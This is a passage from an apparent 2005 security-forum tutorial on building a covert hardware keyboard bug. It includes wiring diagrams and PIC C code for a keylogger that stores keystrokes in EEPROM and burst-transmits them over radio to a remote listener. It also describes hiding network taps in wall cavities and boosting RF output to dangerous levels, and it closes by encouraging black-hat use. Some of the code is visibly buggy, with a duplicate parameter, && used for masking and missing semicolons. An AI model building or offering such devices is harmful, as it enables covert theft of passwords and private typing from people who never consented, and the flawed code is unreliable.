                       |  +--|--------[|9       10|]                   |
                       |  |  |         |__________|                    |
                       |  |  |                                         |
                       +--|--+-----------------------------------------|-> +5V
                          |                                            |
                          |                                            |
                          |                                            |
                          +--------------------------------------------+-> GND
R1 = Resistor 200 Ohm
R2 = Resistor 10k


Remember we used a MAX233 device to convert the TTL voltage levels into RS232 voltage levels ? Well the USBMOD converts USB to serial - but, fortunately for us, it too requires an external MAX233 to convert its TTL levels to RS232 levels. Yes, thats right - both our RXM and the USBMOD use TTL voltage levels and thus we can thow away BOTH MAX233's and connect the two directly.

Lets look at the new hookup...
Code:

Antenna                                                     Attach
  \|/   _____________________________                      USB Cable
   |   | /  \                        |                         |
   |   ||    | RXM (SIL) Module      |                         V
   |   | \__/                        |                    ____________
   |   |                             |                   |  |      |  |
   |   |_____________________________|                  [|1 | USB  |32|]
   |     |1 |2         |3 |4 |5 |6 |7                   [|2 | Conn |31|]
   |     |  |          |  |  |     |                     |  |______|  |
   |        |        [R2] | [R1]   |                     |            |
   |        |          |  |  |     |                    [|5         28|]---+
   +--------+          +--|--+-----|-----+--------------[|6         27|]   |
                          |        |     +--[R3]--(|<)--[|7         26|]   |
                          |        |               LED  [|8         25|]---+
                          |        |                    [|9  USBMOD 24|]   |
                          |        |                    [|10        23|]   |
                          |        |                    [|11        22|]   |
                          |        |                    [|12        21|]   |
                          |        |                    [|13        20|]   |
                          |        +--------------------[|14        19|]   |
                          |                             [|15        18|]   |
                          |                             [|16        17|]   |
                          |                              |____________|    |
                          |                                                |
                          +------------------------------------------------+
[R1] = Resistor 200 Ohm
[R2] = Resistor 10k
[R3] = Resistor 100 Ohm
(|<) = LED (USB Data Indication)


Doesn't really get much simpler does it? Connect that to your USB and the device will appear in your device list as a new serial port. We've added an LED and resistor on pin 7 to show the data being sent to the host PC. If you don't want it you can remove resistor 3 and the LED and leave pin7 unconnected.
Code:

          [|5         28|]---+
<---------[|6         27|]   |
          [|7         26|]   |             
          [|8         25|]---+
          [|9  USBMOD 24|]   |
          [|10        23|]   |

Above: Device without data indicator

Pin 25 tells our USBMOD wether we will be using our own power or leeching from the USB port - if we wished to use a battery instead we would do the following...
Code:

                           [|5         28|]---+
To +5v <----+--------------[|6         27|]   |
            +--[R3]--(|<)--[|7         26|]   |             
                      LED  [|8         25|]   +-------> To GND
                           [|9  USBMOD 24|]   |
                           [|10        23|]   |

Above: Device converted for external power


RXer Modification 3 - Handheld LCD collection

Sometimes a laptop or PC may be too bulky for our purposes. We may desire a battery powered handheld receiver with an LCD display that can either monitor keypresses as they occur or, in the case of a burst transmitter, give us a countdown clock till the next databurst and then retrieve the databurst whilst displaying a percentage meter. We could then take the unit home and replay the captured databurst into our terminal software.

When we build our burst transmitter later you will notice that it sends a single byte every minute. If we couple an RXM to a PIC16F84/87 we can use this received byte to initiate an onscreen countdown timer on the attached 2x16 char LCD. Something like...

Code:
Next databurst
in... 3m 59s


We can then use this counter (Which will continue even when the signal is no longer present) to ensure that we get back to the site in time for the start of the databurst. We simply put the receiver back within reception range and it will resynchronise its clock (each minutely burst) and start listening when its timer reads < 1m. Eventually it will hear '<<' followed by 8190 bytes of garbage which it will commit to EEPROM (details later) whilst displaying a percentage meter or byte count. When the databurts is complete it will hear '>>' indicating the end of transmission which should coincide with location 0x1FFE and 0x1FFF (The last two bytes of 24C65s EEPROM memory)

Back home, we can have the unit replay the entire contents of its EEPROM into a serial (Or USB) port using the interfaces shown above attached to an output pin of the PIC. Replay can be initiated by either tying a pushbutton to one of the PICs interrupt pins or performed automatically when it detects a serial clock or perhaps a CR from the console.

I'm rushing slightly because this article is threatening to get rather large. Receiving data has been covered already as have serial/usb interfacing. The use of EEPROMs to store data will be covered later when we deal with burst transmissions. So, lets take a look at how to control an LCD from a PIC and I'm sure you can garner the rest of the information from the code for 'burst transmitters' details below. This code is based on the LCD driver

Code:

void main()
{
   #include <lcd.h>

   // Initialise LCD
   lcd_init();
   delay_ms(10);   // LCD takes tme to perform init

   ... snip ...

   // Write 'full 9 yards' to LCD device
      printf(lcd_putc,"/fFull %u yards", 9); /* '/f' clears the LCD display */
      delay_ms(10);
}

To get you up and running quickly heres the useful LCD routines...

Code:

// lcd_init()      Must be called before any other function.
// lcd_putc(c)      Will display c on the next position of the LCD.
//            The following have special meaning :
//               \f  Clear display
//               \n  Go to start of second line
//               \b  Move back one position
// lcd_gotoxy(x,y)   Set write position on LCD (upper left is 1,1)
// lcd_getc(x,y)      Returns character at position x,y on LCD

// Prototypes...

void lcd_init();
byte lcd_read_byte();
void lcd_send_nibble( byte n );
void lcd_send_byte( byte address, byte n );
void lcd_gotoxy( byte x, byte y);
void lcd_putc( char c);
char lcd_getc( byte x, byte y);



Lets also take a brief look at how we interface a pushbutton for triggering the replay (without using interrupts just to keep things nice and simple)
Code:

#define PLAYBACK_BUTTON    PIN_a2

void main()
{
   ...snip initialisation ...

   while(TRUE)
   {
      ... snip main program functions...

      // Is the PLAYBACK button pressed ?
      if(input(PLAYBACK_BUTTON)!=0)   /* Pushbutton wired to pull pin A2 high */
      {
         for(t=0;t<EEPROM_SIZE;t++)
         {
            // Here we 'putc' each byte of the EEPROM to the
            // serial port.  EEPROM_SIZE is 8192 for the
            // 24C65 and is defined in the '2465.C' driver.
         }

      }
   }
}



TXer Modification 1 - Burst transmission

Our bug has so far relied on us being within range in order to detect keystrokes. Thats fine if you just want to monitor a machine in another cubicle at work... not so good if you're outside the building in the car park.

Burst transmission is one of the more useful additions you can add to a data bug such as this. Under this scheme the bug will store all of the keypresses in memory using a circular buffer arrangement (When the buffer is full it starts overwriting itself from the beginning) this means that an 8k buffer will always hold the last 8k of keypresses.

The bug sits silently logging until a predetermined interval elapses and then transmits the entire buffer at high speed. You may only need to visit the site every few days (or even weeks) depending on the size of your buffer and the level of keyboard activity. This way you won't be sitting around for hours attracting suspicion.


Design considerations

Firstly, as I stated elsewhere, our humble PIC has only 68bytes of RAM. Not Megabytes, not Kilobytes, just BYTES! If we could use ALL of that RAM for storing keypresses (And we cannot) it still wouldn't be nearly enough for our purposes. It should be clear that we will need to add some external memory to our PIC. But what type and how much ?

Well, conventional memory works kinda like a parallel port - it needs a lot of control lines, more than we have available. However, there is a thing called 'serial memory' which operates more like... yep, you guessed it, a serial port. We note from our previous experiments that serial ports can be operated with as few as two wires... and, indeed, we find 'serialised' memory devices with a 2-wire interface. Okay, serial memory is comparatively slow but it's enough for our purposes and even our humble PIC can afford to use up another 2 IO pins.

As final consideration we need to know 'when' our databurst will happen. Its all very well having a databurst once every two hours but if you don't know when the next one will occur then you could also be sitting around for those two hours waiting. Worse, we could sit around waiting only to find that the keyboard is actually powered off.

Therefore, once every minute (If not already databursting) we should chirp a brief 'hello byte'... that single byte would tell us how many minutes are left till the next full databurst. We can simply drive past and pick up the chirp which confirms the keyboard bug is powered up... then return later and arrive in perfect time for the scheduled burst. In fact, we could set our receiver to synchronise a countdown timer on this chirp - After which simply looking at our screen would tell us we still have 17m54s before the next burst. Ooh good, I got time for a burger!


Memory size and type

How much memory do we need? Thats kinda like asking how long is string. The more memory we have the more keypresses we can archive and the less often we need to visit the site. Also, our databursts can occur less frequently but they will be longer in duration. I'd say go for around 8-16kbytes but anything is good.

Appropriate memory can be either volatile or non-volatile... ie, it either 'forgets' when the power goes off - or it doesn't. If your bug is holding a full day of data but before you collect your databurst the operator reboots the machine, well, you're gonna start wishing you'd went for that non-volatile memory. So, thats what we'll use.



Introducing the 24C65 smart serial EEPROM. It has 8kb of memory and can hold its data for over 200 years without any power. It can be read/written using just two wires and each location will survive over 1,000,000 erase/write cycles making its total useable life greater than 8gb of collected data.


Memory usage

We could just start at location 0 and fill each byte of memory with data till it gets full, then start again from zero overwriting the old data. It sounds plausible doesn't it but theres a slight problem. If the computer is reset after 100 keystrokes we end up back at zero and those previous keystrokes will be lost. Not only this but the lower memory locations will see a lot of use and will fail quicker. We need a safe place to store a counter so that every time the unit gets powered up it knows where to continue from - this will ensure that we can always retrieve the last 8k of keystrokes and that usage will be evenly distributed across the chip.

so, lets place a counter somewhere in this non-volatile memory which always holds the address of the next byte we want to write to. Each time we write some data we will increment this counter - when the counter hits the top we can set it back to zero. Whenever the unit is powered up it can check this location and continue using memory from where it left off. Now, it would appear that this location will be written to on every keypress thus causing the device to fail quicker - luckily the folks at microchip read our minds (one of our readers ain't wearing their tin-foil beanie) and they decided to provide us with a (relocatable) 512 bytes of 'ultra-high-endurance' memory especialy for data which changes frequently.


Lets see how it wires up...

Code:

                     +--------------------------------------------------> +5v
                     |              __________
                     |             |@         |           
                     |    (TXM)<--[|1       18|]-->(serial clock)
                     |            [|2       17|]-->(serial data)
                     |            [|3       16|]-->(10Mhz Xtal)
                     |    (TXM)<--[|4  PIC  15|]-->(10Mhz Xtal)
       _________     |    (TXM)<--[|5 16F84 14|]-->(GND)
 +---[|1       8|]---+            [|6       13|]
 +---[|2 24C65 7|]-----+          [|7       12|]
 +---[|3       6|]-----|----------[|8       11|]
 +---[|4_______5|]-----|----------[|9       10|]
 |                     |           |__________|
 |                     |
 +---------------------+------------------------------------------------> GND

As you can see I've hidden all of the previous connections to the PIC chip in order to simplify viewing. The memory will be connected via two pins which will constitute a 2 wire I²C interface. Pins 1,2,3,4 & 7 will be tied to ground and pin8 goes to the keyboard connectors 5v line. Pins 5 and 6 are our data and clock lines respectively.

The good thing about the I²C interface is that it is a common standard. This means that our PIC compiler probably already has a few routines to make our life easier. If you're using CCS (And, if not you SHOULD be) you can make good use of the following calls...

Code:

// In your header we'd use...
   #include <2465.c>            // Include the 24C65 device driver

// Then, in the code...
   void init_ext_eeprom();         // Initialise the device for use
   void write_ext_eeprom(long int address, byte BYT);   // Write a byte
   BYT = read_ext_eeprom(long int address);         // Read a byte



Nice and easy. Lets see how the EEPROM code fits into our databursting code
Code:


#define BURSTINTERVAL 60   // 60 minutes between databursts

unsigned INT16   BitBuffer;   // Create a 16 bit fifo for bitstream
unsigned INT8   BYT;      // We place the keyboard data bytes here
unsigned INT8   FLG;      // We place the keyboard data flags here

unsigned LONG   nextaddress;   // The next writeable address in EEPROM
unsigned LONG   burstaddress;   // The next transmitted address in EEPROM
unsigned LONG   burstbeginning;   // The start/end address for the circular databurst
unsigned INT8   burstcountdown;   // Number of minutes till next full burst


///////////////////////////////////////////////////////////////
//// This is the keyboards ISR.  It is called whenever the ////
//// keyboards clock line transitions to LOW, which saves  ////
//// us from polling continuously.                         ////
///////////////////////////////////////////////////////////////
KEYBOARDISR:
{
   // Our ISR goes here, it captures each keyboard data bit as it occurs
   // and then evaluates the bits received so far to see if it is a complete
   // and valid frame.
   //
   // If it is FO (Key released) it sets bit 0 of FLG
   // If it is EO (Extended key) it sets bit 1 of FLG
   // If the scancode sequence is complete it sets BYT to the value of the key
   // and sets bit 7 of FLG (Indicating that FLG/BYT form a complete description
   // of an entire scancode sequence
   //
   // The code for this is covered in 'TXer Modification 2 - Synchronisation issues'
}
return from ISR;


////////////////////////////////////////////////////////////////
//// This is the burst timer ISR.  It is called once every  ////
//// minute.  Every BURSTINTERVALth minute it will initiate ////
//// a databurst (unless one is already running)  All other ////
//// times we simply emits a single byte, indicating the    ////
//// minutes remaining till the next full burst.            ////
////////////////////////////////////////////////////////////////
BURSTISR:
{
   // One minute has elapsed, so decrement the minutes remaining till
   // next databurst by one
   burstcountdown--;

   if(burstcountdown == 0)
   {
      // Its time!

      if(burstaddress == 0xFFFF)
      {
         // Initiate a data burst
         burstaddress = nextaddress;
         burstbeginning = burstaddress;
      }

      // Reset the countdown
      burstcountdown == BURSTINTERVAL;
   }

   // Otherwise lets broadcast the number of minutes remaining
   // but only if we are not in the middle of a data burst

   else if(burstaddress == 0xFFFF) transmit(burstcountdown);
}
return from ISR;


/*-- PROGRAM LOOP ----------------------------------------------------------------------*/

void main(void)
{
   ///////////////////////////////////
   ////  INITIALISATION ROUTINES  ////
   ///////////////////////////////////

   // Seed the databurst countdown to BURSTINTERVAL
   burstcountdown = BURSTINTERVAL;

   // Seed the databurst with a 'No databurst' sentinel value
   burstaddress=0xFFFF;

   // Seed the bitbuffer
   /* bitbuffer = 0xFFFF; ignore this line for now, I will hit bitbuffering next section */

   // Initialise EEPROM (Required before we can use the device)
   init_ext_eprom();

   // Retrieve next useable address
   nextaddress = read_ext_eeprom(0xFFFE);      // Read low byte
   nextaddress |= read_ext_eeprom(0xFFFF)<<8;   // Read high byte

   // Place a marker in memory to indicate in the log that the computer was
   // restarted at this point (Useful for locating login/BIOS passwords)
   recordbytes(0xFF,0xFF);


   /////////////////////////////
   ////  MAIN PROGRAM LOOP  ////
   /////////////////////////////

   // Repeat forever...
   while(1)
   {

      ////  HANDLE ONE KEYBOARD EVENT  ////

      // If a key event is waiting to be processed...
      if(bit_test(FLG, 128))
      {
         // Store it in memory
         recordbytes(FLG, BYT);
      }


      ////  HANDLE ONE BYTE OF A DATABURST  ////

      // If a databurst is in operation...
      if(burstaddress>0)
      {
         // Transmit the next byte
         doburst();
      }
   }
}


/*-- IO ROUTINES -----------------------------------------------------------------------*/

////////////////////////////////////////////////////////////////////////
////  OUR RECORDBYTES ROUTINE... RECORDS TWO BYTES (ONE KEY EVENT)  ////
////////////////////////////////////////////////////////////////////////

void recordkey(INT8 value1, INT8 value1)
{
   // Write the keyevent to next memory address
   write_ext_eeprom(nextaddress++, value1);
   write_ext_eeprom(nextaddress++, value2);

   //  Perform circular increment (loop back to start if we overflow)
   if(nextaddress>0xFFFD) nextaddress = 0;

   // Store next address in case we lose power
   write_ext_eeprom(0xFFFF, (nextaddress && 0xFF00)>>8)
   write_ext_eeprom(0xFFFE, nextaddress && 0xFF)
}



////////////////////////////////////////////////////////////////////////
////  OUR DATABURST ROUTINE... TRANSMITS TWO BYTES (ONE KEY EVENT)  ////
////////////////////////////////////////////////////////////////////////

void doburst(void)
{
   ////////////////////////////////////////////////
   ////  Things to do at the start of a burst  ////
   ////////////////////////////////////////////////

   // If burstaddress equals burstbeginning then the databurst has
   // only just begun, so lets transmit a 'start burst' sequence...
   if(burstaddress == burstbeginning)
   {
      // Send '<<' to indicate the beginning of the burst
      transmit('<');
      transmit('<');
   }

   ///////////////////////////////////////
   ////  Things to do WHILE bursting  ////
   ///////////////////////////////////////

   // Transmit the next memory address and increment
   transmit(read_ext_eeprom(burstaddress++));

   // If we've reached the end of the buffer, loop to the beginning.  Remember
   // to skip the last 2 bytes of memory as these are used to remember the value
   // of 'nextaddress' across reboots
   if(burstaddress>0x1FFD)
   {
      // Hit the end of useable memory, loop to the beginning
      burstaddress=0;
   }


   //////////////////////////////////////////////
   ////  Things to do at the end of a burst  ////
   //////////////////////////////////////////////

   // burstaddress has been incremented, therefore if burstaddress
   // is equal to burstbeginning again then we must have arrived back
   // at the point where the burst began... We can stop the burst.
   if(burstaddress == burstbeginning)
   {
      // we may terminate the databurst
      burstaddress=0xFFFF; // burstaddress of 0xFFFF means no burst

      // And send '>>' to indicate the completion of the burst
      transmit('>');
      transmit('>');
   }
         
}      



TXer modification 2 - Synchronisation issues

Our original keyboard handling code was quite basic and it is possible that it could lose synchronisation and start reading garbage. We correct that in this section by adding a new method for reading the keyboard via a bitbuffer. Basically all the bits received are fed through a FIFO until a valid frame is recognised, If the expected frame is invalid we just keep feeding streamed bits into the FIFO until valid framing conditions are met.

Code:

unsigned INT16   BitBuffer;   // Create a 16 bit fifo for bitstream
unsigned INT8   BYT;      // We place the keyboard data bytes here
unsigned INT8   FLG;      // We place the keyboard data flags here

LONG      nextaddress;   // The next writeable address in EEPROM
LONG      burstaddress;   // The next transmitted address in EEPROM
LONG      burstbeginning;   // The start/end address for the circular databurst

/* sample of keyboard handling for the keyboard ISR*/
///////////////////////////////////////////////////////////////
//// This is the keyboards ISR.  It is called whenever the ////
//// keyboards clock line transitions to LOW, which saves  ////
//// us from polling continuously.                         ////
////                                                       ////
//// Bits are shifted in through a 16 bit buffer and frame ////
//// desynchronisation is detected/recovered automagicaly  ////
////                                                       ////
//// Resynchs are performed in the 16 bit FIFO bit buffer  ////
//// by slipping bits until START/STOP/PARITY are correct  ////
///////////////////////////////////////////////////////////////

{
   // Read a bit from the DATA line and shift it into the FIFO
   shift_right(&BitBuffer,2,input(PIN_A0));

   // Bit5 (START) must be 0 (LOW) and BIT15 (STOP) must be 1 (HIGH) if the
   // frame is valid.  Lets check frame validity...

   if(!bit_test(BitBuffer,5))
   {
      // Found expected start of frame, if we're wrong we've lost our
      // synchronisation

      if(bit_test(BitBuffer,15)
      {
         // Looks like a valid synchronised frame

         unsigned INT8 ParityCount;   // Used to count set bits for
                     // parity check

         // Data byte is held in bits 13(MSB) to 6(LSB) inclusive.
         // The parity bit is the at bit14.  In order for the data to be
         // considered valid there should be an ODD number of 1's in
         // these locations.  Lets check data validity...

         // Loop through the 1 PARITY and 8 DATA bits...
         for(t=6;t<15;t++)
         {
            // Count the number of set bits
            Paritycount += bit_test(BitBuffer,t);
         }

         // If the ParityCount is ODD then we have valid data!
         if(bit_test(ParityCount,0))
         {
            // We have a valid looking Data byte in bits 13(MSB) to
            // 6(LSB) inclusive.  To make use of it we have to shift
            // it to the right (6 times) till it occupies the first
            // 8 bits of our 16 bit buffer.

            for(t=0;t<6;++t)
               shift_right(&BitBuffer,2,0);
            
            BitBuffer &= 0x00FF;      // Mask off the upper byte

            // Determine the type of byte
            switch (BitBuffer)
            {
               case 0x00 :
                  FLG = 0;   // We don't process nulls
                  break;
               case 0xF0 :
                  FLG |= 1;   // Set the RELEASED bit
                  break;
               case 0xE0 :
                  FLG |= 2;   // Set the EXTENDED bit
                  break;
               default :
                  BYT = BitBuffer;// Remember the byte
                  FLG |= 128;   // Set the COMPLETE bit
            }

            // Clear the bitBuffer to all ones - so we can detect
            // the next start bit when it gets to BitBuffer bit 5

            BitBuffer = 0xFFFF;
         }
         else
         {
            // We found a valid start and stop condition but the parity
            // is indicating an error.  Abandon any FLG data as invalid
            // because it pertains to a corrupt keypress sequence -or-
            // we have lost synchronisation.

            FLG = 0;
         }
      }
      else
      {
         // We found a start condition but the stop condition is invalid.
         // It looks like we have lost frame synchronisation.  Lets mark
         // any FLG data as invalid as it may pertain to an incomplete
         // keypress sequence.

         FLG = 0;
      }
      
   }
}


The above routine will pick through the stream trying to synchronise. It will monitor each frame and extract only complete scancode sequences. We can retrieve these full sequences by examining two global variables from withing our main loop...


The variable FLG holds bitflags which indicate the status of this operation:

When FLGs 8th bit is set - a complete sequence is ready and BYT indicates the value of the key pressed. If bit 2 of FLG is set then this BYT value indicates an 'extended' key (ie, scancodes beginning with the value E0). If bit 1 of FLG is set then the scancode indicates that the key was released (The scancode contained an F0) as opposed to pressed. By using this mechanism each discrete scancode (which can be between one and three bytes) is expressed in a two byte fixed notation which makes storage easier.

If you don't want to use interrupts you can call the routine from within your main loop, however, the routine as it stands expects only to be called on the falling edge of the clock line. therefore we need to add a little to the start of the keyboard handling routine so that it doesn't assume that the clock has transitioned low every time it is called ...

Code:

void KeyboardHandler(void)
{
   // Handler will check wether the clock has transitioned from HI to LO
   // since it was last called (Because it is no longer an ISR being called
   // explicitly when the transition occurs)

   if(output_bit(PIN_A1,0) == oldstate) return;      // If pin hasn't changed state, return.
   oldstate = output_bit(PIN_A1,0);            // Remember this new state for next time
   if(oldstate == 1) return;               // If the transition was LO->HI, return,

   // If we are LO this time and were HI last time then we have a valid clock transition and should now
   // retrieve and process one bit from the data line and check as before...

   ... The rest of this routine is the same as the ISR version...
}



Okay, thats much better. We've got a keyboard handler that can deal with desynchs, doesn't delay our code execution (unlike the old one in part 1 which spent its whole life waiting for clock changes) and can be used as either an interrupt service routine or just regularly polled from within the main program loop.


Dealing with long delays in our code.

The processor can only perform one job at a time, and so whilst we are busy writing to the serial memory we could potentially be missing vital keystroke data from the keyboard. Whats the solution ?


If we have a section of our code which may delay for longer than 1/2 a keyboard clock cycle we should wait till we receive a complete scancode sequence and then inhibit the keyboard from transmitting any further scancodes until we are ready to receive them. Keyboards have a 16 byte buffer.


This solution relies on the nature of the keyboard device. keypresses occur rather slowly, with long pauses between each keystroke. Regardless of how fast the typist is we will find that the processor can get a great deal of work done in the silence between each scancode. Another 'feature' of the keyboard device is that it is a 'bi-directional protocol' - that is, information can travel both ways on the two wire bus. Not only are scancodes sent from the keyboard to the host, but the host can send data to the keyboard too. In order for this to work the host needs to first inhibit the keyboard from sending scancodes and to do this it pulls the clock signal (generated by the keyboard) to 0v. When the keyboard detects that its clock line is being 'pulled low' it buffers any keystroke data until the clock line is released again. The keyboards controller has a 16 byte buffer which it uses for buffering further keystrokes. When the clock line is released It will re-transmit any partial scancode that was interrupted as well as any keypresses generated whilst inhibited.

So, we give the keyboard our fullest attention until a complete scancode has been received. Then, anticipating a long wait, we can go service other routines. If those routines are likely to take more than 1/4 of the keyboard clock cycle we should first pull the clock line LOW to ensure that no further scancodes are generated while we are away. Once we have finished servicing other routines (such as transmitting a byte of the databurst, or writing keystrokes to the serial EEPROM) we can release the clock line and deal with any new or buffered scancodes.

Heres a rough idea of how this approach works
Code:

   LengthyRoutine();
   {
      // Inhibit the keyboard clock
      ClockInhibit(TRUE);

      // HUUUUGE delay - 500ms (1/2 second) ... during this time keystrokes will be
      // buffered by the keyboard device.  If we inhibit the clock during a scancode
      // the entire scancode will be repeated when the clock returns
      delay(500);

      // Inhibit the keyboard clock
      ClockInhibit(TRUE);
   }

   ClockInhibit(BOOL bInhibit)
   {
      if(bInhibit==TRUE)
      {
         // Inhibit keyboard clock line
         output_bit(PIN_A1,0); // Connect pin to ground (pulls the clock line low)
      }
      else
      {
         // Release keyboard clock line
         output_float(PIN_A1); // Allow the pin to float (Clock no longer held low)
         // Reseed the bitbuffer as any incomplete data in there is about
         // to be retransmitted anyway
         bitbuffer = 0xFFFF;
      }
   }




Beyond keyboards...

Data bugging applies to everything from router consoles to ethernet cabling. Two way devices, utilising bi-directional modules or cheap stacked TX/RX units, can allow router consoles to be bugged and even operated/configured remotely. Not all bugs will transmit in RF either, Bugs in ethernet cabling can collect 'interesting' data and burst it back via internet-bound packets injected back onto the medium. Ethernet bugs may also operate as relays for their master offering a cheap 19kbps - 36kbps wireless connection to a target system (the 'radio tap'). Similarly, bugs in centrexes between offices and ISDN lines are similarly fair game.
I think one of the must useful variations is as a filtered radio tap on vertical or horizontal cabling. Essentially, one locates a suitable wire in the overhead... Gently cuts into the cable for about four inches... peels the cable open and splays out the pairs... and then punch them into IPC (Insulation Piercing Connectors) on the device itself. The whole operation takes very little time and offers the attacker a radio-node into the network. Wall mounted sockets with cables fed through the cavity offer an excellent location for such devices. The existing cable is detatched and transfered to IPC's on the device, then the device is fed back through the hole into the wall cavity... Finally, the devices trailing cable is punched down into the rear of the faceplate to complete an inline device which will, in all likelihood, never be located.

As chips with hardware network stacks become available these devices are getting smaller and more capable. Some units use .25w WAVECOM modules to provide high-speed data links at 2300 to 2700 MHz in the ISM band and are often tweaked to dangerous power output levels to increase the useable range. Known tweaks include :

Removing the 9db internal pad for a 800% power increase to 2.25mw and performing the 'MMIC Mod' to increase the output to 60mw. Also one can employ a DEMI RF Amp yielding around 2.5W for a 10mw input


Anyway, now that you've seen how easy it can be to slot together prebuilt modules to construct quite advanced equipment theres nothing holding you back. The blackhatted among you should take the time to explore these devices as you never know when the opportunity might present itself. Remember, hacking is all about innovation.


Further reading
PS2 mouse/keyboard protocol - Excellent reference
UMPS development environment - simulates circuits with PICs, LCDs, EEPROMS, Serial Ports and much more
The CCS Compiler, Excellent C compiler for PICs
MPLab 'Microchips own' development environment - C or ASM
PIC16F84A DatasheetPIC16F87x Datasheet
Microchips range of controllers
Radiometrix products (Contains Datasheets for RF Modules
Good site on interfacing to LCDs
Text LCD simulator - Practice before you build a handheld unit
GFX LCD simulator - For that 'special' interface
Elexols USB Modules


I do apologise for not getting around to all of the examples I wished to give in this section. Feel free to experiment with the many processors and RF modules at your disposal as I really have just covered the cheapest options and most common components here.

Any comments or questions ? Use this thread


M3Dz
Back to top
View user's profile Send private message
Tom Bair
SF Boss
SF Boss


Joined: 10 Aug 2002
Posts: 16776955
Location: Portland, Oregon USA

Offline

PostPosted: Sun Oct 02, 2005 9:36 pm    Post subject: Reply with quote

Please post any comments or questions concerning this topic here:

http://www.security-forums.com/forum/viewtopic.php?t=19089

Thank you!
Back to top
View user's profile Send private message Visit poster's website
Display posts from previous:   

Post new topic   This topic is locked: you cannot edit posts or make replies.   Printer-friendly version    Networking/Security Forums Index -> Physical Security and Social Engineering All times are GMT + 2 Hours
Page 1 of 1


 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum

Community Area

Log in | Register